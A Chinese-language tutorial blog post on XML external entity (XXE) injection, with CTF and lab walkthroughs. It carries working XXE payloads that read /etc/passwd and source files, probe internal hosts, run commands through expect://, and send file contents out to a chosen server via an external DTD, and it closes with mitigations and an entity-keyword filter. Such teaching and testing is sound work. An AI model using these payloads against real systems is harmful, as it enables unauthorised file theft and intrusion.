XXE&XML之利用检测绕过

目录

XML讲解

漏洞利用

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

XXE 漏洞修复与防御方案-php,java,python-过滤及禁用 

XML讲解

XML定义:XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。 

XML与HTML对比:

1.XML被设计用来传输和存储数据,焦点是数据的内容。HTML被设计为显示数据,及焦点是数据的外观。

2.XML旨在传输信息。而HTML旨在显示信息。

XXE漏洞

全称:XML External Entity Injection

xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件

带来的危害有哪些:

1.DOS攻击

2.SSRF攻击

3.使用file协议读取任意文件

4.端口探测

5.执行系统命令

下面为一些脚本支持的协议

XML典型代码 

<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。

内部声明DTD <!DOCTYPE 根元素 [元素声明]> 
外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> <!DOCTYPE note SYSTEM "Note.dtd"> 
或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

漏洞利用

在确认有XXE漏洞存在时,存在输入接口

如:pikachu靶场中xxe漏洞处

玩法-读取文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt"> 
]>
<x>&xxe;</x>

//xxe为变量,读取test.txt,利用file协议,后面为文件所在位置
//输出出来

玩法-内网探针或攻击内网应用(触发漏洞地址)

实际应用中基本碰不到

可以判断对方是否存在该文件,及端口

前提条件

  • 内网IP地址
  • 开放端口
  • 存在xxe漏洞
  • 构造漏洞地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.80.1:80/test.txt" >
]>
<x>&rabbit;</x>


//这里后面应该为文件,不能为网址

玩法-RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

玩法-引入外部实体 DTD

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>


//evil2.dtd

<!ENTITY send SYSTEM "file:///d:/test.txt">

关系 

 前面几个实例都是结果进行了回显

无回显-读取文件(本地环境测试)

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>

evil2.dtd

<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;

//相当于读了文件放在你指定地址的服务器上,所以日志是你指定服务器上的日志

打开pikachu靶场xxe所在的代码         默认vul\xxe\xxe_1.php

 暂时注释箭头所处部分,就相当于无回显

打开apache的设置文件httpd.conf,customlog前有注释的去掉注释

 在php扩展中开启log_config_module

 打开access.log文件

 进行base64解密得到文本内容        5oiR54ix5ZCD55OcIQ==

 

 取消刚才的注释

利用:让对方访问你的网站,生成日志查看

协议-读文件(绕过)

参考文章:CTF XXE - MustaphaMond - 博客园        XML讲解,绕过等

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

靶场下载地址:https://github.com/c0ny1/xxe-lab

例:php-xxe

如何检测:(burp抓包send to spider输入关键字爬行查看)MIME type:    XML

1.数据格式类型:如果发现有<user>test</user><pass>Mikasa</pass>  类型

若有回显,可以进行测试,随便输入标签看是否回显相应的值如<aa>dsdd<aa>,看是否回显dsdd
2.抓包发现  content-type中是  text/xml  或者 application/xml

3.更改Content-Type值看返回值

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

更改Content-Type值看返回值       原数据包:application/json       修改为:application/xml

http://web.jarvisoj.com:9882/

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag

下载地址:https://download.vulnhub.com/xxe/XXE.zip

 下载解压以vm运行.ovf文件导入即可

(1)如图,为环境搭建好之后的状态,暂时什么都未知

(2)攻击机kali,查看ip

 

(3)使用nmap扫描网段,看到可疑IP,发现80端口开放

 (4)浏览器尝试访问,成功

(5) 使用kali工具dirsearch对网站进行目录扫描,发现敏感文件robots.txt

下载使用:kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客_kali安装dirsearch

python3 dirsearch.py -u http://192.168.80.128 -e*

 (6)访问192.168.159.223/robots.txt,再次发现两个敏感文件,依次访问

 

admin.php 

由上面访问的结果来看,xxe文件可以访问,但是admin.php文件访问失败,但是文件存在,其中必定由猫腻,我们先对xxe页面进行渗透看看

1.burp抓包

2.构造payload,成功验证出存在XXE漏洞注入

3.因为前面扫描出存在admin.php文件,但是无法访问,我们可以通过这里的XXE注入,读取admin.php文件。构造如图,成功读取到admin.php源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 	ANY [
<!ENTITY name SYSTEM "php://filter/read/convert.base64-encode/resource=admin.php">
]>
<root><name>&name;</name><password>1</password></root>




//使用php://filter/read/convert.base64-encode/resource=admin.php的好处就是不用考虑文件完整目录

 4.base64解码

 5.从php源码可找出又存在一个敏感文件,并可以通过得到的账号administhebest和密码登录,密码使用md5加密,解密得admin@123即可 

 6.尝试登录/xxe/admin.php,点击flag

因为当时burp抓包时是在xxe目录下查找到的,所以登录时要用xxe/admin.php

 

7.最后得到flag的网站,访问再次失败,直接再次使用XML注入获取源码即可,如图

 base64解密

 通过判断,这里得加密方式为base32,先base32解密后再使用base64解密,最后得出存在flag得路径

 

 7.访问路径,base64解密

 8.使用php语言写的,php在线运行得到flag为SAFCSP{xxe_is_so_easy}

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://github.com/enjoiz/XXEinjector

7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园

XXE 漏洞修复与防御方案-php,java,python-过滤及禁用 

方法一:禁用外部实体

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法二:过滤用户提交的XML数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC


参考文章:第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_IsecNoob的博客-CSDN博客

vulnhub XXE靶场复现_向开花的博客-CSDN博客_xxe漏洞靶场

猜你喜欢

转载自blog.csdn.net/weixin_52221158/article/details/126470235